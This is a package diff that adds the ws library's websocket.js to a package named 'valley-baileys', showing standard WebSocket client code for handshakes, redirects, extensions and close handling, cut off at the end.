valley-baileys 1.0.0

package/node_modules/ws/lib/websocket.js

@@ -0,0 +1,1571 @@
+/* eslint no-unused-vars: ["error", { "varsIgnorePattern": "^Duplex|Readable$", "caughtErrors": "none" }] */
+
+'use strict';
+
+const EventEmitter = require('events');
+const https = require('https');
+const http = require('http');
+const net = require('net');
+const tls = require('tls');
+const {
+  randomBytes,
+  createHash
+} = require('crypto');
+const {
+  Duplex,
+  Readable
+} = require('stream');
+const {
+  URL
+} = require('url');
+
+const PerMessageDeflate = require('./permessage-deflate');
+const Receiver = require('./receiver');
+const Sender = require('./sender');
+const {
+  isBlob
+} = require('./validation');
+
+const {
+  BINARY_TYPES,
+  CLOSE_TIMEOUT,
+  EMPTY_BUFFER,
+  GUID,
+  kForOnEventAttribute,
+  kListener,
+  kStatusCode,
+  kWebSocket,
+  NOOP
+} = require('./constants');
+const {
+  EventTarget: {
+    addEventListener,
+    removeEventListener
+  }
+} = require('./event-target');
+const {
+  format,
+  parse
+} = require('./extension');
+const {
+  toBuffer
+} = require('./buffer-util');
+
+const kAborted = Symbol('kAborted');
+const protocolVersions = [8, 13];
+const readyStates = ['CONNECTING', 'OPEN', 'CLOSING', 'CLOSED'];
+const subprotocolRegex = /^[!#$%&'*+\-.0-9A-Z^_`|a-z~]+$/;
+
+/**
+* Class representing a WebSocket.
+*
+* @extends EventEmitter
+*/
+class WebSocket extends EventEmitter {
+  /**
+  * Create a new `WebSocket`.
+  *
+  * @param {(String|URL)} address The URL to which to connect
+  * @param {(String|String[])} [protocols] The subprotocols
+  * @param {Object} [options] Connection options
+  */
+  constructor(address, protocols, options) {
+    super();
+
+    this._binaryType = BINARY_TYPES[0];
+    this._closeCode = 1006;
+    this._closeFrameReceived = false;
+    this._closeFrameSent = false;
+    this._closeMessage = EMPTY_BUFFER;
+    this._closeTimer = null;
+    this._errorEmitted = false;
+    this._extensions = {};
+    this._paused = false;
+    this._protocol = '';
+    this._readyState = WebSocket.CONNECTING;
+    this._receiver = null;
+    this._sender = null;
+    this._socket = null;
+
+    if (address !== null) {
+      this._bufferedAmount = 0;
+      this._isServer = false;
+      this._redirects = 0;
+
+      if (protocols === undefined) {
+        protocols = [];
+      } else if (!Array.isArray(protocols)) {
+        if (typeof protocols === 'object' && protocols !== null) {
+          options = protocols;
+          protocols = [];
+        } else {
+          protocols = [protocols];
+        }
+      }
+
+      initAsClient(this, address, protocols, options);
+    } else {
+      this._autoPong = options.autoPong;
+      this._closeTimeout = options.closeTimeout;
+      this._isServer = true;
+    }
+  }
+
+  /**
+  * For historical reasons, the custom "nodebuffer" type is used by the default
+  * instead of "blob".
+  *
+  * @type {String}
+  */
+  get binaryType() {
+    return this._binaryType;
+  }
+
+  set binaryType(type) {
+    if (!BINARY_TYPES.includes(type)) return;
+
+    this._binaryType = type;
+
+    //
+    // Allow to change `binaryType` on the fly.
+    //
+    if (this._receiver) this._receiver._binaryType = type;
+  }
+
+  /**
+  * @type {Number}
+  */
+  get bufferedAmount() {
+    if (!this._socket) return this._bufferedAmount;
+
+    return this._socket._writableState.length + this._sender._bufferedBytes;
+  }
+
+  /**
+  * @type {String}
+  */
+  get extensions() {
+    return Object.keys(this._extensions).join();
+  }
+
+  /**
+  * @type {Boolean}
+  */
+  get isPaused() {
+    return this._paused;
+  }
+
+  /**
+  * @type {Function}
+  */
+  /* istanbul ignore next */
+  get onclose() {
+    return null;
+  }
+
+  /**
+  * @type {Function}
+  */
+  /* istanbul ignore next */
+  get onerror() {
+    return null;
+  }
+
+  /**
+  * @type {Function}
+  */
+  /* istanbul ignore next */
+  get onopen() {
+    return null;
+  }
+
+  /**
+  * @type {Function}
+  */
+  /* istanbul ignore next */
+  get onmessage() {
+    return null;
+  }
+
+  /**
+  * @type {String}
+  */
+  get protocol() {
+    return this._protocol;
+  }
+
+  /**
+  * @type {Number}
+  */
+  get readyState() {
+    return this._readyState;
+  }
+
+  /**
+  * @type {String}
+  */
+  get url() {
+    return this._url;
+  }
+
+  /**
+  * Set up the socket and the internal resources.
+  *
+  * @param {Duplex} socket The network socket between the server and client
+  * @param {Buffer} head The first packet of the upgraded stream
+  * @param {Object} options Options object
+  * @param {Boolean} [options.allowSynchronousEvents=false] Specifies whether
+  *     any of the `'message'`, `'ping'`, and `'pong'` events can be emitted
+  *     multiple times in the same tick
+  * @param {Function} [options.generateMask] The function used to generate the
+  *     masking key
+  * @param {Number} [options.maxBufferedChunks=0] The maximum number of
+  *     buffered data chunks
+  * @param {Number} [options.maxFragments=0] The maximum number of message
+  *     fragments
+  * @param {Number} [options.maxPayload=0] The maximum allowed message size
+  * @param {Boolean} [options.skipUTF8Validation=false] Specifies whether or
+  *     not to skip UTF-8 validation for text and close messages
+  * @private
+  */
+  setSocket(socket, head, options) {
+    const receiver = new Receiver( {
+      allowSynchronousEvents: options.allowSynchronousEvents,
+      binaryType: this.binaryType,
+      extensions: this._extensions,
+      isServer: this._isServer,
+      maxBufferedChunks: options.maxBufferedChunks,
+      maxFragments: options.maxFragments,
+      maxPayload: options.maxPayload,
+      skipUTF8Validation: options.skipUTF8Validation
+    });
+
+    const sender = new Sender(socket, this._extensions, options.generateMask);
+
+    this._receiver = receiver;
+    this._sender = sender;
+    this._socket = socket;
+
+    receiver[kWebSocket] = this;
+    sender[kWebSocket] = this;
+    socket[kWebSocket] = this;
+
+    receiver.on('conclude', receiverOnConclude);
+    receiver.on('drain', receiverOnDrain);
+    receiver.on('error', receiverOnError);
+    receiver.on('message', receiverOnMessage);
+    receiver.on('ping', receiverOnPing);
+    receiver.on('pong', receiverOnPong);
+
+    sender.onerror = senderOnError;
+
+    //
+    // These methods may not be available if `socket` is just a `Duplex`.
+    //
+    if (socket.setTimeout) socket.setTimeout(0);
+    if (socket.setNoDelay) socket.setNoDelay();
+
+    if (head.length > 0) socket.unshift(head);
+
+    socket.on('close', socketOnClose);
+    socket.on('data', socketOnData);
+    socket.on('end', socketOnEnd);
+    socket.on('error', socketOnError);
+
+    this._readyState = WebSocket.OPEN;
+    this.emit('open');
+  }
+
+  /**
+  * Emit the `'close'` event.
+  *
+  * @private
+  */
+  emitClose() {
+    if (!this._socket) {
+      this._readyState = WebSocket.CLOSED;
+      this.emit('close', this._closeCode, this._closeMessage);
+      return;
+    }
+
+    if (this._extensions[PerMessageDeflate.extensionName]) {
+      this._extensions[PerMessageDeflate.extensionName].cleanup();
+    }
+
+    this._receiver.removeAllListeners();
+    this._readyState = WebSocket.CLOSED;
+    this.emit('close', this._closeCode, this._closeMessage);
+  }
+
+  /**
+  * Start a closing handshake.
+  *
+  *          +----------+   +-----------+   +----------+
+  *     - - -|ws.close()|-->|close frame|-->|ws.close()|- - -
+  *    |     +----------+   +-----------+   +----------+     |
+  *          +----------+   +-----------+         |
+  * CLOSING  |ws.close()|<--|close frame|<--+-----+       CLOSING
+  *          +----------+   +-----------+   |
+  *    |           |                        |   +---+        |
+  *                +------------------------+-->|fin| - - - -
+  *    |         +---+                      |   +---+
+  *     - - - - -|fin|<---------------------+
+  *              +---+
+  *
+  * @param {Number} [code] Status code explaining why the connection is closing
+  * @param {(String|Buffer)} [data] The reason why the connection is
+  *     closing
+  * @public
+  */
+  close(code, data) {
+    if (this.readyState === WebSocket.CLOSED) return;
+    if (this.readyState === WebSocket.CONNECTING) {
+      const msg = 'WebSocket was closed before the connection was established';
+      abortHandshake(this, this._req, msg);
+      return;
+    }
+
+    if (this.readyState === WebSocket.CLOSING) {
+      if (
+        this._closeFrameSent &&
+        (this._closeFrameReceived || this._receiver._writableState.errorEmitted)
+      ) {
+        this._socket.end();
+      }
+
+      return;
+    }
+
+    this._readyState = WebSocket.CLOSING;
+    this._sender.close(code, data, !this._isServer, (err) => {
+      //
+      // This error is handled by the `'error'` listener on the socket. We only
+      // want to know if the close frame has been sent here.
+      //
+      if (err) return;
+
+      this._closeFrameSent = true;
+
+      if (
+        this._closeFrameReceived ||
+        this._receiver._writableState.errorEmitted
+      ) {
+        this._socket.end();
+      }
+    });
+
+    setCloseTimer(this);
+  }
+
+  /**
+  * Pause the socket.
+  *
+  * @public
+  */
+  pause() {
+    if (
+      this.readyState === WebSocket.CONNECTING ||
+      this.readyState === WebSocket.CLOSED
+    ) {
+      return;
+    }
+
+    this._paused = true;
+    this._socket.pause();
+  }
+
+  /**
+  * Send a ping.
+  *
+  * @param {*} [data] The data to send
+  * @param {Boolean} [mask] Indicates whether or not to mask `data`
+  * @param {Function} [cb] Callback which is executed when the ping is sent
+  * @public
+  */
+  ping(data, mask, cb) {
+    if (this.readyState === WebSocket.CONNECTING) {
+      throw new Error('WebSocket is not open: readyState 0 (CONNECTING)');
+    }
+
+    if (typeof data === 'function') {
+      cb = data;
+      data = mask = undefined;
+    } else if (typeof mask === 'function') {
+      cb = mask;
+      mask = undefined;
+    }
+
+    if (typeof data === 'number') data = data.toString();
+
+    if (this.readyState !== WebSocket.OPEN) {
+      sendAfterClose(this, data, cb);
+      return;
+    }
+
+    if (mask === undefined) mask = !this._isServer;
+    this._sender.ping(data || EMPTY_BUFFER, mask, cb);
+  }
+
+  /**
+  * Send a pong.
+  *
+  * @param {*} [data] The data to send
+  * @param {Boolean} [mask] Indicates whether or not to mask `data`
+  * @param {Function} [cb] Callback which is executed when the pong is sent
+  * @public
+  */
+  pong(data, mask, cb) {
+    if (this.readyState === WebSocket.CONNECTING) {
+      throw new Error('WebSocket is not open: readyState 0 (CONNECTING)');
+    }
+
+    if (typeof data === 'function') {
+      cb = data;
+      data = mask = undefined;
+    } else if (typeof mask === 'function') {
+      cb = mask;
+      mask = undefined;
+    }
+
+    if (typeof data === 'number') data = data.toString();
+
+    if (this.readyState !== WebSocket.OPEN) {
+      sendAfterClose(this, data, cb);
+      return;
+    }
+
+    if (mask === undefined) mask = !this._isServer;
+    this._sender.pong(data || EMPTY_BUFFER, mask, cb);
+  }
+
+  /**
+  * Resume the socket.
+  *
+  * @public
+  */
+  resume() {
+    if (
+      this.readyState === WebSocket.CONNECTING ||
+      this.readyState === WebSocket.CLOSED
+    ) {
+      return;
+    }
+
+    this._paused = false;
+    if (!this._receiver._writableState.needDrain) this._socket.resume();
+  }
+
+  /**
+  * Send a data message.
+  *
+  * @param {*} data The message to send
+  * @param {Object} [options] Options object
+  * @param {Boolean} [options.binary] Specifies whether `data` is binary or
+  *     text
+  * @param {Boolean} [options.compress] Specifies whether or not to compress
+  *     `data`
+  * @param {Boolean} [options.fin=true] Specifies whether the fragment is the
+  *     last one
+  * @param {Boolean} [options.mask] Specifies whether or not to mask `data`
+  * @param {Function} [cb] Callback which is executed when data is written out
+  * @public
+  */
+  send(data, options, cb) {
+    if (this.readyState === WebSocket.CONNECTING) {
+      throw new Error('WebSocket is not open: readyState 0 (CONNECTING)');
+    }
+
+    if (typeof options === 'function') {
+      cb = options;
+      options = {};
+    }
+
+    if (typeof data === 'number') data = data.toString();
+
+    if (this.readyState !== WebSocket.OPEN) {
+      sendAfterClose(this, data, cb);
+      return;
+    }
+
+    const opts = {
+      binary: typeof data !== 'string',
+      mask: !this._isServer,
+      compress: true,
+      fin: true,
+      ...options
+    };
+
+    if (!this._extensions[PerMessageDeflate.extensionName]) {
+      opts.compress = false;
+    }
+
+    this._sender.send(data || EMPTY_BUFFER, opts, cb);
+  }
+
+  /**
+  * Forcibly close the connection.
+  *
+  * @public
+  */
+  terminate() {
+    if (this.readyState === WebSocket.CLOSED) return;
+    if (this.readyState === WebSocket.CONNECTING) {
+      const msg = 'WebSocket was closed before the connection was established';
+      abortHandshake(this, this._req, msg);
+      return;
+    }
+
+    if (this._socket) {
+      this._readyState = WebSocket.CLOSING;
+      this._socket.destroy();
+    }
+  }
+}
+
+/**
+* @constant {Number} CONNECTING
+* @memberof WebSocket
+*/
+Object.defineProperty(WebSocket, 'CONNECTING', {
+  enumerable: true,
+  value: readyStates.indexOf('CONNECTING')
+});
+
+/**
+* @constant {Number} CONNECTING
+* @memberof WebSocket.prototype
+*/
+Object.defineProperty(WebSocket.prototype, 'CONNECTING', {
+  enumerable: true,
+  value: readyStates.indexOf('CONNECTING')
+});
+
+/**
+* @constant {Number} OPEN
+* @memberof WebSocket
+*/
+Object.defineProperty(WebSocket, 'OPEN', {
+  enumerable: true,
+  value: readyStates.indexOf('OPEN')
+});
+
+/**
+* @constant {Number} OPEN
+* @memberof WebSocket.prototype
+*/
+Object.defineProperty(WebSocket.prototype, 'OPEN', {
+  enumerable: true,
+  value: readyStates.indexOf('OPEN')
+});
+
+/**
+* @constant {Number} CLOSING
+* @memberof WebSocket
+*/
+Object.defineProperty(WebSocket, 'CLOSING', {
+  enumerable: true,
+  value: readyStates.indexOf('CLOSING')
+});
+
+/**
+* @constant {Number} CLOSING
+* @memberof WebSocket.prototype
+*/
+Object.defineProperty(WebSocket.prototype, 'CLOSING', {
+  enumerable: true,
+  value: readyStates.indexOf('CLOSING')
+});
+
+/**
+* @constant {Number} CLOSED
+* @memberof WebSocket
+*/
+Object.defineProperty(WebSocket, 'CLOSED', {
+  enumerable: true,
+  value: readyStates.indexOf('CLOSED')
+});
+
+/**
+* @constant {Number} CLOSED
+* @memberof WebSocket.prototype
+*/
+Object.defineProperty(WebSocket.prototype, 'CLOSED', {
+  enumerable: true,
+  value: readyStates.indexOf('CLOSED')
+});
+
+[
+  'binaryType',
+  'bufferedAmount',
+  'extensions',
+  'isPaused',
+  'protocol',
+  'readyState',
+  'url'
+].forEach((property) => {
+    Object.defineProperty(WebSocket.prototype, property, {
+      enumerable: true
+    });
+  });
+
+//
+// Add the `onopen`, `onerror`, `onclose`, and `onmessage` attributes.
+// See https://html.spec.whatwg.org/multipage/comms.html#the-websocket-interface
+//
+['open', 'error', 'close', 'message'].forEach((method) => {
+  Object.defineProperty(WebSocket.prototype, `on${method}`, {
+    enumerable: true,
+    get() {
+      for (const listener of this.listeners(method)) {
+        if (listener[kForOnEventAttribute]) return listener[kListener];
+      }
+
+      return null;
+    },
+    set(handler) {
+      for (const listener of this.listeners(method)) {
+        if (listener[kForOnEventAttribute]) {
+          this.removeListener(method, listener);
+          break;
+        }
+      }
+
+      if (typeof handler !== 'function') return;
+
+      this.addEventListener(method, handler, {
+        [kForOnEventAttribute]: true
+      });
+    }
+  });
+});
+
+WebSocket.prototype.addEventListener = addEventListener;
+WebSocket.prototype.removeEventListener = removeEventListener;
+
+module.exports = WebSocket;
+
+/**
+* Initialize a WebSocket client.
+*
+* @param {WebSocket} websocket The client to initialize
+* @param {(String|URL)} address The URL to which to connect
+* @param {Array} protocols The subprotocols
+* @param {Object} [options] Connection options
+* @param {Boolean} [options.allowSynchronousEvents=true] Specifies whether any
+*     of the `'message'`, `'ping'`, and `'pong'` events can be emitted multiple
+*     times in the same tick
+* @param {Boolean} [options.autoPong=true] Specifies whether or not to
+*     automatically send a pong in response to a ping
+* @param {Number} [options.closeTimeout=30000] Duration in milliseconds to wait
+*     for the closing handshake to finish after `websocket.close()` is called
+* @param {Function} [options.finishRequest] A function which can be used to
+*     customize the headers of each http request before it is sent
+* @param {Boolean} [options.followRedirects=false] Whether or not to follow
+*     redirects
+* @param {Function} [options.generateMask] The function used to generate the
+*     masking key
+* @param {Number} [options.handshakeTimeout] Timeout in milliseconds for the
+*     handshake request
+* @param {Number} [options.maxBufferedChunks=1048576] The maximum number of
+*     buffered data chunks
+* @param {Number} [options.maxFragments=131072] The maximum number of message
+*     fragments
+* @param {Number} [options.maxPayload=104857600] The maximum allowed message
+*     size
+* @param {Number} [options.maxRedirects=10] The maximum number of redirects
+*     allowed
+* @param {String} [options.origin] Value of the `Origin` or
+*     `Sec-WebSocket-Origin` header
+* @param {(Boolean|Object)} [options.perMessageDeflate=true] Enable/disable
+*     permessage-deflate
+* @param {Number} [options.protocolVersion=13] Value of the
+*     `Sec-WebSocket-Version` header
+* @param {Boolean} [options.skipUTF8Validation=false] Specifies whether or
+*     not to skip UTF-8 validation for text and close messages
+* @private
+*/
+function initAsClient(websocket, address, protocols, options) {
+  const opts = {
+    allowSynchronousEvents: true,
+    autoPong: true,
+    closeTimeout: CLOSE_TIMEOUT,
+    protocolVersion: protocolVersions[1],
+    maxBufferedChunks: 1024 * 1024,
+    maxFragments: 128 * 1024,
+    maxPayload: 100 * 1024 * 1024,
+    skipUTF8Validation: false,
+    perMessageDeflate: true,
+    followRedirects: false,
+    maxRedirects: 10,
+    ...options,
+    socketPath: undefined,
+    hostname: undefined,
+    protocol: undefined,
+    timeout: undefined,
+    method: 'GET',
+    host: undefined,
+    path: undefined,
+    port: undefined
+  };
+
+  websocket._autoPong = opts.autoPong;
+  websocket._closeTimeout = opts.closeTimeout;
+
+  if (!protocolVersions.includes(opts.protocolVersion)) {
+    throw new RangeError(
+      `Unsupported protocol version: ${opts.protocolVersion} ` +
+      `(supported versions: ${protocolVersions.join(', ')})`
+    );
+  }
+
+  let parsedUrl;
+
+  if (address instanceof URL) {
+    parsedUrl = address;
+  } else {
+    try {
+      parsedUrl = new URL(address);
+    } catch {
+      throw new SyntaxError(`Invalid URL: ${address}`);
+    }
+  }
+
+  if (parsedUrl.protocol === 'http:') {
+    parsedUrl.protocol = 'ws:';
+  } else if (parsedUrl.protocol === 'https:') {
+    parsedUrl.protocol = 'wss:';
+  }
+
+  websocket._url = parsedUrl.href;
+
+  const isSecure = parsedUrl.protocol === 'wss:';
+  const isIpcUrl = parsedUrl.protocol === 'ws+unix:';
+  let invalidUrlMessage;
+
+  if (parsedUrl.protocol !== 'ws:' && !isSecure && !isIpcUrl) {
+    invalidUrlMessage =
+    'The URL\'s protocol must be one of "ws:", "wss:", ' +
+    '"http:", "https:", or "ws+unix:"';
+  } else if (isIpcUrl && !parsedUrl.pathname) {
+    invalidUrlMessage = "The URL's pathname is empty";
+  } else if (parsedUrl.hash) {
+    invalidUrlMessage = 'The URL contains a fragment identifier';
+  }
+
+  if (invalidUrlMessage) {
+    const err = new SyntaxError(invalidUrlMessage);
+
+    if (websocket._redirects === 0) {
+      throw err;
+    } else {
+      emitErrorAndClose(websocket, err);
+      return;
+    }
+  }
+
+  const defaultPort = isSecure ? 443: 80;
+  const key = randomBytes(16).toString('base64');
+  const request = isSecure ? https.request: http.request;
+  const protocolSet = new Set();
+  let perMessageDeflate;
+
+  opts.createConnection =
+  opts.createConnection || (isSecure ? tlsConnect: netConnect);
+  opts.defaultPort = opts.defaultPort || defaultPort;
+  opts.port = parsedUrl.port || defaultPort;
+  opts.host = parsedUrl.hostname.startsWith('[')
+  ? parsedUrl.hostname.slice(1, -1): parsedUrl.hostname;
+  opts.headers = {
+    ...opts.headers,
+    'Sec-WebSocket-Version': opts.protocolVersion,
+    'Sec-WebSocket-Key': key,
+    Connection: 'Upgrade',
+    Upgrade: 'websocket'
+  };
+  opts.path = parsedUrl.pathname + parsedUrl.search;
+  opts.timeout = opts.handshakeTimeout;
+
+  if (opts.perMessageDeflate) {
+    perMessageDeflate = new PerMessageDeflate( {
+      ...opts.perMessageDeflate,
+      isServer: false,
+      maxPayload: opts.maxPayload
+    });
+    opts.headers['Sec-WebSocket-Extensions'] = format({
+      [PerMessageDeflate.extensionName]: perMessageDeflate.offer()
+    });
+  }
+  if (protocols.length) {
+    for (const protocol of protocols) {
+      if (
+        typeof protocol !== 'string' ||
+        !subprotocolRegex.test(protocol) ||
+        protocolSet.has(protocol)
+      ) {
+        throw new SyntaxError(
+          'An invalid or duplicated subprotocol was specified'
+        );
+      }
+
+      protocolSet.add(protocol);
+    }
+
+    opts.headers['Sec-WebSocket-Protocol'] = protocols.join(',');
+  }
+  if (opts.origin) {
+    if (opts.protocolVersion < 13) {
+      opts.headers['Sec-WebSocket-Origin'] = opts.origin;
+    } else {
+      opts.headers.Origin = opts.origin;
+    }
+  }
+  if (parsedUrl.username || parsedUrl.password) {
+    opts.auth = `${parsedUrl.username}:${parsedUrl.password}`;
+  }
+
+  if (isIpcUrl) {
+    const parts = opts.path.split(':');
+
+    opts.socketPath = parts[0];
+    opts.path = parts[1];
+  }
+
+  let req;
+
+  if (opts.followRedirects) {
+    if (websocket._redirects === 0) {
+      websocket._originalIpc = isIpcUrl;
+      websocket._originalSecure = isSecure;
+      websocket._originalHostOrSocketPath = isIpcUrl
+      ? opts.socketPath: parsedUrl.host;
+
+      const headers = options && options.headers;
+
+      //
+      // Shallow copy the user provided options so that headers can be changed
+      // without mutating the original object.
+      //
+      options = {
+        ...options,
+        headers: {}
+      };
+
+      if (headers) {
+        for (const [key, value] of Object.entries(headers)) {
+          options.headers[key.toLowerCase()] = value;
+        }
+      }
+    } else if (websocket.listenerCount('redirect') === 0) {
+      const isSameHost = isIpcUrl
+      ? websocket._originalIpc
+      ? opts.socketPath === websocket._originalHostOrSocketPath: false: websocket._originalIpc
+      ? false: parsedUrl.host === websocket._originalHostOrSocketPath;
+
+      if (!isSameHost || (websocket._originalSecure && !isSecure)) {
+        //
+        // Match curl 7.77.0 behavior and drop the following headers. These
+        // headers are also dropped when following a redirect to a subdomain.
+        //
+        delete opts.headers.authorization;
+        delete opts.headers.cookie;
+
+        if (!isSameHost) delete opts.headers.host;
+
+        opts.auth = undefined;
+      }
+    }
+
+    //
+    // Match curl 7.77.0 behavior and make the first `Authorization` header win.
+    // If the `Authorization` header is set, then there is nothing to do as it
+    // will take precedence.
+    //
+    if (opts.auth && !options.headers.authorization) {
+      options.headers.authorization =
+      'Basic ' + Buffer.from(opts.auth).toString('base64');
+    }
+
+    req = websocket._req = request(opts);
+
+    if (websocket._redirects) {
+      //
+      // Unlike what is done for the `'upgrade'` event, no early exit is
+      // triggered here if the user calls `websocket.close()` or
+      // `websocket.terminate()` from a listener of the `'redirect'` event. This
+      // is because the user can also call `request.destroy()` with an error
+      // before calling `websocket.close()` or `websocket.terminate()` and this
+      // would result in an error being emitted on the `request` object with no
+      // `'error'` event listeners attached.
+      //
+      websocket.emit('redirect', websocket.url, req);
+    }
+  } else {
+    req = websocket._req = request(opts);
+  }
+
+  if (opts.timeout) {
+    req.on('timeout', () => {
+      abortHandshake(websocket, req, 'Opening handshake has timed out');
+    });
+  }
+
+  req.on('error', (err) => {
+    if (req === null || req[kAborted]) return;
+
+    req = websocket._req = null;
+    emitErrorAndClose(websocket, err);
+  });
+
+  req.on('response',
+    (res) => {
+      const location = res.headers.location;
+      const statusCode = res.statusCode;
+
+      if (
+        location &&
+        opts.followRedirects &&
+        statusCode >= 300 &&
+        statusCode < 400
+      ) {
+        if (++websocket._redirects > opts.maxRedirects) {
+          abortHandshake(websocket, req, 'Maximum redirects exceeded');
+          return;
+        }
+
+        req.abort();
+
+        let addr;
+
+        try {
+          addr = new URL(location, address);
+        } catch (e) {
+          const err = new SyntaxError(`Invalid URL: ${location}`);
+          emitErrorAndClose(websocket, err);
+          return;
+        }
+
+        initAsClient(websocket, addr, protocols, options);
+      } else if (!websocket.emit('unexpected-response', req, res)) {
+        abortHandshake(
+          websocket,
+          req,
+          `Unexpected server response: ${res.statusCode}`
+        );
+      }
+    });
+
+  req.on('upgrade',
+    (res, socket, head) => {
+      websocket.emit('upgrade', res);
+
+      //
+      // The user may have closed the connection from a listener of the
+      // `'upgrade'` event.
+      //
+      if (websocket.readyState !== WebSocket.CONNECTING) return;
+
+      req = websocket._req = null;
+
+      const upgrade = res.headers.upgrade;
+
+      if (upgrade === undefined || upgrade.toLowerCase() !== 'websocket') {
+        abortHandshake(websocket, socket, 'Invalid Upgrade header');
+        return;
+      }
+
+      const digest = createHash('sha1')
+      .update(key + GUID)
+      .digest('base64');
+
+      if (res.headers['sec-websocket-accept'] !== digest) {
+        abortHandshake(websocket, socket, 'Invalid Sec-WebSocket-Accept header');
+        return;
+      }
+
+      const serverProt = res.headers['sec-websocket-protocol'];
+      let protError;
+
+      if (serverProt !== undefined) {
+        if (!protocolSet.size) {
+          protError = 'Server sent a subprotocol but none was requested';
+        } else if (!protocolSet.has(serverProt)) {
+          protError = 'Server sent an invalid subprotocol';
+        }
+      } else if (protocolSet.size) {
+        protError = 'Server sent no subprotocol';
+      }
+
+      if (protError) {
+        abortHandshake(websocket, socket, protError);
+        return;
+      }
+
+      if (serverProt) websocket._protocol = serverProt;
+
+      const secWebSocketExtensions = res.headers['sec-websocket-extensions'];
+
+      if (secWebSocketExtensions !== undefined) {
+        if (!perMessageDeflate) {
+          const message =
+          'Server sent a Sec-WebSocket-Extensions header but no extension ' +
+          'was requested';
+          abortHandshake(websocket, socket, message);
+          return;
+        }
+
+        let extensions;
+
+        try {
+          extensions = parse(secWebSocketExtensions);
+        } catch (err) {
+          const message = 'Invalid Sec-WebSocket-Extensions header';
+          abortHandshake(websocket, socket, message);
+          return;
+        }
+
+        const extensionNames = Object.keys(extensions);
+
+        if (
+          extensionNames.length !== 1 ||
+          extensionNames[0] !== PerMessageDeflate.extensionName
+        ) {
+          const message = 'Server indicated an extension that was not requested';
+          abortHandshake(websocket, socket, message);
+          return;
+        }
+
+        try {
+          perMessageDeflate.accept(extensions[PerMessageDeflate.extensionName]);
+        } catch (err) {
+          const message = 'Invalid Sec-WebSocket-Extensions header';
+          abortHandshake(websocket, socket, message);
+          return;
+        }
+
+        websocket._extensions[PerMessageDeflate.extensionName] =
+        perMessageDeflate;
+      }
+
+      websocket.setSocket(socket, head, {
+        allowSynchronousEvents: opts.allowSynchronousEvents,
+        generateMask: opts.generateMask,
+        maxBufferedChunks: opts.maxBufferedChunks,
+        maxFragments: opts.maxFragments,
+        maxPayload: opts.maxPayload,
+        skipUTF8Validation: opts.skipUTF8Validation
+      });
+    });
+
+  if (opts.finishRequest) {
+    opts.finishRequest(req, websocket);
+  } else {
+    req.end();
+  }
+}
+
+/**
+* Emit the `'error'` and `'close'` events.
+*
+* @param {WebSocket} websocket The WebSocket instance
+* @param {Error} The error to emit
+* @private
+*/
+function emitErrorAndClose(websocket, err) {
+  websocket._readyState = WebSocket.CLOSING;
+  //
+  // The following assignment is practically useless and is done only for
+  // consistency.
+  //
+  websocket._errorEmitted = true;
+  websocket.emit('error', err);
+  websocket.emitClose();
+}
+
+/**
+* Create a `net.Socket` and initiate a connection.
+*
+* @param {Object} options Connection options
+* @return {net.Socket} The newly created socket used to start the connection
+* @private
+*/
+function netConnect(options) {
+  options.path = options.socketPath;
+  return net.connect(options);
+}
+
+/**
+* Create a `tls.TLSSocket` and initiate a connection.
+*
+* @param {Object} options Connection options
+* @return {tls.TLSSocket} The newly created socket used to start the connection
+* @private
+*/
+function tlsConnect(options) {
+  options.path = undefined;
+
+  if (!options.servername && options.servername !== '') {
+    options.servername = net.isIP(options.host) ? '': options.host;
+  }
+
+  return tls.connect(options);
+}
+
+/**
+* Abort the handshake and emit an error.
+*
+* @param {WebSocket} websocket The WebSocket instance
+* @param {(http.ClientRequest|net.Socket|tls.Socket)} stream The request to
+*     abort or the socket to destroy
+* @param {String} message The error message
+* @private
+*/
+function abortHandshake(websocket, stream, message) {
+  websocket._readyState = WebSocket.CLOSING;
+
+  const err = new Error(message);
+  Error.captureStackTrace(err, abortHandshake);
+
+  if (stream.setHeader) {
+    stream[kAborted] = true;
+    stream.abort();
+
+    if (stream.socket && !stream.socket.destroyed) {
+      //
+      // On Node.js >= 14.3.0 `request.abort()` does not destroy the socket if
+      // called after the request completed. See
+      // https://github.com/websockets/ws/issues/1869.
+      //
+      stream.socket.destroy();
+    }
+
+    process.nextTick(emitErrorAndClose, websocket, err);
+  } else {
+    stream.destroy(err);
+    stream.once('error', websocket.emit.bind(websocket, 'error'));
+    stream.once('close', websocket.emitClose.bind(websocket));
+  }
+}
+
+/**
+* Handle cases where the `ping()`, `pong()`, or `send()` methods are called
+* when the `readyState` attribute is `CLOSING` or `CLOSED`.
+*
+* @param {WebSocket} websocket The WebSocket instance
+* @param {*} [data] The data to send
+* @param {Function} [cb] Callback
+* @private
+*/
+function sendAfterClose(websocket, data, cb) {
+  if (data) {
+    const length = isBlob(data) ? data.size: toBuffer(data).length;
+
+    //
+    // The `_bufferedAmount` property is used only when the peer is a client and
+    // the opening handshake fails. Under these circumstances, in fact, the
+    // `setSocket()` method is not called, so the `_socket` and `_sender`
+    // properties are set to `null`.
+    //
+    if (websocket._socket) websocket._sender._bufferedBytes += length;
+    else websocket._bufferedAmount += length;
+  }
+
+  if (cb) {
+    const err = new Error(
+      `WebSocket is not open: readyState ${websocket.readyState} ` +
+      `(${readyStates[websocket.readyState]})`
+    );
+    process.nextTick(cb, err);
+  }
+}
+
+/**
+* The listener of the `Receiver` `'conclude'` event.
+*
+* @param {Number} code The status code
+* @param {Buffer} reason The reason for closing
+* @private
+*/
+function receiverOnConclude(code, reason) {
+  const websocket = this[kWebSocket];
+
+  websocket._closeFrameReceived = true;
+  websocket._closeMessage = reason;
+  websocket._closeCode = code;
+
+  if (websocket._socket[kWebSocket] === undefined) return;
+
+  websocket._socket.removeListener('data', socketOnData);
+  process.nextTick(resume, websocket._socket);
+
+  if (code === 1005) websocket.close();
+  else websocket.close(code, reason);
+}
+
+/**
+* The listener of the `Receiver` `'drain'` event.
+*
+* @private
+*/
+function receiverOnDrain() {
+  const websocket = this[kWebSocket];
+
+  if (!websocket.isPaused) websocket._socket.resume();
+}
+
+/**
+* The listener of the `Receiver` `'error'` event.
+*
+* @param {(RangeError|Error)} err The emitted error
+* @private
+*/
+function receiverOnError(err) {
+  const websocket = this[kWebSocket];
+
+  if (websocket._socket[kWebSocket] !== undefined) {
+    websocket._socket.removeListener('data', socketOnData);
+
+    //
+    // On Node.js < 14.0.0 the `'error'` event is emitted synchronously. See
+    // https://github.com/websockets/ws/issues/1940.
+    //
+    process.nextTick(resume, websocket._socket);
+
+    websocket.close(err[kStatusCode]);
+  }
+
+  if (!websocket._errorEmitted) {
+    websocket._errorEmitted = true;
+    websocket.emit('error', err);
+  }
+}
+
+/**
